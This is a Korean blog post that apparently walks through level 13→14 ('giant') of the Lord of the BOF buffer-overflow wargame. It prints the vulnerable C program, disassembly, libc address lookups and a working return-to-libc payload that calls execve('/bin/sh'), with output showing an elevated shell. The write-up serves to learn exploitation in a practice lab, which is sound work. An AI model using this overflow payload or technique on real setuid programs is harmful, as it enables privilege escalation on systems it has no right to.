본문 바로가기

워게임/lord of bof

level 13 -> 14


[bugbear@localhost bugbear]$ cat giant.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

갑자기 소스가 겁나 길어졌네여


대강 보면 execve를 이용해서 쉘을 떨궈라는것같군요.


int execve (const char *filename, char *const argv [], char *const envp[]);


execve는 다음과 같은 인자를 필요로합니다. 첫 번째 인자는 뭘 실행할건지.. 여기서는 /bin/sh가 되겠군요


argv는 첫 번째 인자를 실행할 때 사용할 인자를 배열 형태로 넣는겁니다. 누가 null 넣어도 된다 했는데.. 쓰레기 값이라도 필요하더라구요 ㅠ


envp는 환경변수를 넘겨줄 때 사용하는데 마찬가지로 배열 형태로 넣어줍니다. 근데 이건 null 넣어도 실행엔 문제 없더군요.


[bugbear@localhost test]$ cat testsh.c 

#include <stdio.h>

int main(){

char *a[] = {"",0};

execve("/bin/sh",a,NULL);

}


결과적으로 위와 같이 프로그램을 생성해서 인자가 어떤식으로 박히는지 확인해봅시다.


(gdb) disas main 

Dump of assembler code for function main:

0x80483c8 <main>: push   %ebp

0x80483c9 <main+1>: mov    %ebp,%esp

0x80483cb <main+3>: sub    %esp,8

0x80483ce <main+6>: lea    %eax,[%ebp-8]

0x80483d1 <main+9>: mov    DWORD PTR [%ebp-8],0x8048450 # ""

0x80483d8 <main+16>: mov    DWORD PTR [%ebp-4],0x0    # 0

0x80483df <main+23>: push   0 # null(envp)

0x80483e1 <main+25>: lea    %eax,[%ebp-8]

0x80483e4 <main+28>: push   %eax # # a가 저장된곳(argv)

0x80483e5 <main+29>: push   0x8048451 # "/bin/sh"(filename)

0x80483ea <main+34>: call   0x80482e8 <execve>

0x80483ef <main+39>: add    %esp,12

0x80483f2 <main+42>: leave  

0x80483f3 <main+43>: ret  


0xbffffac4: 0x08048451 0xbffffad0 0x00000000 0x08048450


[0x08048450 = 0x0(envp)]

[0xbffffad4 = 0x0(argv[1]]

[0xbffffad0 = 0x8048450(argv[0]] - 0x8048450 : ""

[0x08048451 = "/bin/sh"(filename)]


[execve 주소] [dummy 4byte] ["/bin/sh" 주소] [**(아무 값) + null 4byte] [*nullbyte]


즉 위와 같이 넣어줘야 하나보네요.


먼저 execve 주소는 다음과 같이 구할 수 있습니다..


[bugbear@localhost test]$ /usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'

(0x40018000)

[bugbear@localhost test]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'

00091d48


두개 더해야 주소가 나오니까 더합시당 => 400A9D48


이제 /bin/sh의 주소를 찾아봅시다.


(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


[bugbear@localhost test]$ cat /tmp/findsh.c 

#include <stdio.h>

int main(int argc, char * argv[])

{

    long shell;

    shell = 0x40058ae0;

    while(memcmp((void *)shell, "/bin/sh", 8)) shell++;

    printf("/bin/sh = %p\n",shell);

}

[bugbear@localhost test]$ /tmp/findsh 

/bin/sh = 0x400fbff9


다음은 execve의 2번째 인자인데.. 이건 그냥 뒤적거리다가 찾았습니다(?) 환경변수로 더블 포인팅 해줘도 될 것 같았는데 그냥 스택 보니 눈에 보이더라구요;


(gdb) x/2x 0xbffffab4

0xbffffab4: 0x080484b0 0x00000000


0xbffffab4를 execve의 2번째 인자로 넘겨줍니다. 마지막 3번째 인자는 null을 가지고 있는 값이면 되니까 위에 있는 값 +4해줘도되요.


참고로 2번째 인자는 위에서도 언급했지만 반드시 4byte짜리 NULL이 마지막에 포함되어있어야합니다.


아무튼 익스를 만들었으니 한번 해볼까용



[bugbear@localhost test]$ ./giant `perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "B"x4, "\xf9\xbf\x0f\x40", "\xb4\xfa\xff\xbf", "\xb8\xfa\xff\xbf"'`

ldd: /home/giant/assassin: No such file or directory

You must use execve!


오잉; 안되네요 왜이럴까..하고 찾아봤더니 \x0a는 \x00으로 인식한다고하네요 -_-;; 스크립트 인자 전체를 쌍따옴표로 다시 묶어줍니다.


[bugbear@localhost test]$ ./giant "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "B"x4, "\xf9\xbf\x0f\x40", "\xb4\xfa\xff\xbf", "\xb8\xfa\xff\xbf"'`"

ldd: /home/giant/assassin: No such file or directory

You must use execve!


??..그래도 안되네요.. 당연하죠 복사본은 execve()를 불러와서 실행할 수 없으니까..


원본이 있는 경로로 가서 실행해줍니다.


[bugbear@localhost bugbear]$ ./giant "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "B"x4, "\xf9\xbf\x0f\x40", "\xb4\xfa\xff\xbf", "\xb8\xfa\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH?

@BBBB廈@덜옇?

1???厄PTRh펵h큳QVh`????????????????U??=?: /home/bugbear/.bashrc: Permission denied

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer

bash$ 


성공적으로 쉘을 획득했습니당!



'워게임 > lord of bof' 카테고리의 다른 글

level 15 -> 16  (0) 2015.10.23
level 14 -> 15  (0) 2015.10.23
level 12 -> 13  (0) 2015.10.23
level 11 -> 12  (0) 2015.10.23
level 10 -> 11  (0) 2015.10.23